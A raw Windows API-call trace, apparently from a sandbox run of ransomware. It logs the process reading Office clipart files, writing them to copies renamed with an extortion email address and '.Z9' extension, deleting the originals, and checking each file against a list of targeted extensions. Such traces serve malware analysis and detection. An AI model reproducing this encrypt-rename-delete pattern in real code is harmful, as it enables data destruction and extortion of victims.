	[0180.113] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.113] lstrlenW (lpString="J0107744.WMF") returned 12
	[0180.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.115] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5004) returned 1
	[0180.115] CloseHandle (hObject=0x558) returned 1
	[0180.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220
	[0180.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.116] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.116] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.117] GetLastError () returned 0x0
	[0180.117] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0180.167] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0180.168] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.168] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.168] SetEndOfFile (hFile=0x36c) returned 1
	[0180.168] CloseHandle (hObject=0x36c) returned 1
	[0180.168] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.168] SetEndOfFile (hFile=0x558) returned 1
	[0180.172] CloseHandle (hObject=0x558) returned 1
	[0180.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.174] lstrlenW (lpString=".doc") returned 4
	[0180.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.174] lstrlenW (lpString=".docx") returned 5
	[0180.174] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.174] lstrlenW (lpString=".pdf") returned 4
	[0180.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString=".xls") returned 4
	[0180.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.175] lstrlenW (lpString=".xlsx") returned 5
	[0180.175] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.175] lstrlenW (lpString=".ppt") returned 4
	[0180.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString=".zip") returned 4
	[0180.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.175] lstrlenW (lpString=".rar") returned 4
	[0180.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString=".bz2") returned 4
	[0180.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString=".7z") returned 3
	[0180.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString=".dbf") returned 4
	[0180.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString=".1cd") returned 4
	[0180.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString=".jpg") returned 4
	[0180.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.175] lstrlenW (lpString=".doc") returned 4
	[0180.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.175] lstrlenW (lpString=".docx") returned 5
	[0180.176] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.176] lstrlenW (lpString=".pdf") returned 4
	[0180.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString=".xls") returned 4
	[0180.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.176] lstrlenW (lpString=".xlsx") returned 5
	[0180.176] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.176] lstrlenW (lpString=".ppt") returned 4
	[0180.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.176] lstrlenW (lpString=".zip") returned 4
	[0180.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.176] lstrlenW (lpString=".rar") returned 4
	[0180.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString=".bz2") returned 4
	[0180.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString=".7z") returned 3
	[0180.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.176] lstrlenW (lpString=".dbf") returned 4
	[0180.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.176] lstrlenW (lpString=".1cd") returned 4
	[0180.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0180.176] lstrlenW (lpString=".jpg") returned 4
	[0180.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.177] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.177] lstrlenW (lpString="J0107750.WMF") returned 12
	[0180.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.178] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4716) returned 1
	[0180.178] CloseHandle (hObject=0x558) returned 1
	[0180.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220
	[0180.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.179] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.179] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.272] GetLastError () returned 0x0
	[0180.272] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x126c, lpOverlapped=0x0) returned 1
	[0180.340] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0180.341] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.341] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.341] SetEndOfFile (hFile=0x36c) returned 1
	[0180.342] CloseHandle (hObject=0x36c) returned 1
	[0180.342] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.342] SetEndOfFile (hFile=0x558) returned 1
	[0180.574] CloseHandle (hObject=0x558) returned 1
	[0180.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1
	[0180.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.583] lstrlenW (lpString=".doc") returned 4
	[0180.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.583] lstrlenW (lpString=".docx") returned 5
	[0180.583] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.583] lstrlenW (lpString=".pdf") returned 4
	[0180.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString=".xls") returned 4
	[0180.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.584] lstrlenW (lpString=".xlsx") returned 5
	[0180.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.584] lstrlenW (lpString=".ppt") returned 4
	[0180.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.584] lstrlenW (lpString=".zip") returned 4
	[0180.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.584] lstrlenW (lpString=".rar") returned 4
	[0180.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString=".bz2") returned 4
	[0180.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString=".7z") returned 3
	[0180.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.584] lstrlenW (lpString=".dbf") returned 4
	[0180.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.584] lstrlenW (lpString=".1cd") returned 4
	[0180.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.584] lstrlenW (lpString=".jpg") returned 4
	[0180.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.585] lstrlenW (lpString=".doc") returned 4
	[0180.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString=".docx") returned 5
	[0180.585] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.585] lstrlenW (lpString=".pdf") returned 4
	[0180.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString=".xls") returned 4
	[0180.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.585] lstrlenW (lpString=".xlsx") returned 5
	[0180.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.585] lstrlenW (lpString=".ppt") returned 4
	[0180.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.585] lstrlenW (lpString=".zip") returned 4
	[0180.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.585] lstrlenW (lpString=".rar") returned 4
	[0180.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString=".bz2") returned 4
	[0180.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.585] lstrlenW (lpString=".7z") returned 3
	[0180.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.585] lstrlenW (lpString=".dbf") returned 4
	[0180.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.586] lstrlenW (lpString=".1cd") returned 4
	[0180.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0180.586] lstrlenW (lpString=".jpg") returned 4
	[0180.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.586] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.586] lstrlenW (lpString="J0144773.JPG") returned 12
	[0180.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0180.654] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=40231) returned 1
	[0180.654] CloseHandle (hObject=0x444) returned 1
	[0180.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220
	[0180.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0180.656] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.656] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0180.658] GetLastError () returned 0x0
	[0180.658] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x9d27, lpOverlapped=0x0) returned 1
	[0180.682] WriteFile (in: hFile=0x538, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x9d30, lpOverlapped=0x0) returned 1
	[0180.684] ReadFile (in: hFile=0x444, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.684] WriteFile (in: hFile=0x538, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.684] SetEndOfFile (hFile=0x538) returned 1
	[0180.684] CloseHandle (hObject=0x538) returned 1
	[0180.685] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.685] SetEndOfFile (hFile=0x444) returned 1
	[0180.691] CloseHandle (hObject=0x444) returned 1
	[0180.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.693] lstrlenW (lpString=".doc") returned 4
	[0180.693] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.693] lstrlenW (lpString=".docx") returned 5
	[0180.693] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0180.693] lstrlenW (lpString=".pdf") returned 4
	[0180.693] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.693] lstrlenW (lpString=".xls") returned 4
	[0180.693] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.693] lstrlenW (lpString=".xlsx") returned 5
	[0180.693] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0180.693] lstrlenW (lpString=".ppt") returned 4
	[0180.693] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.693] lstrlenW (lpString=".zip") returned 4
	[0180.693] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.694] lstrlenW (lpString=".rar") returned 4
	[0180.694] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.694] lstrlenW (lpString=".bz2") returned 4
	[0180.694] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.694] lstrlenW (lpString=".7z") returned 3
	[0180.694] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.694] lstrlenW (lpString=".dbf") returned 4
	[0180.694] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.694] lstrlenW (lpString=".1cd") returned 4
	[0180.694] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.694] lstrlenW (lpString=".jpg") returned 4
	[0180.694] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.694] lstrlenW (lpString=".doc") returned 4
	[0180.694] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.694] lstrlenW (lpString=".docx") returned 5
	[0180.694] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0180.694] lstrlenW (lpString=".pdf") returned 4
	[0180.694] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.695] lstrlenW (lpString=".xls") returned 4
	[0180.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.695] lstrlenW (lpString=".xlsx") returned 5
	[0180.695] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0180.695] lstrlenW (lpString=".ppt") returned 4
	[0180.695] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.695] lstrlenW (lpString=".zip") returned 4
	[0180.695] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.695] lstrlenW (lpString=".rar") returned 4
	[0180.695] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.695] lstrlenW (lpString=".bz2") returned 4
	[0180.695] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.695] lstrlenW (lpString=".7z") returned 3
	[0180.695] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.695] lstrlenW (lpString=".dbf") returned 4
	[0180.695] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.695] lstrlenW (lpString=".1cd") returned 4
	[0180.695] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0180.696] lstrlenW (lpString=".jpg") returned 4
	[0180.696] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
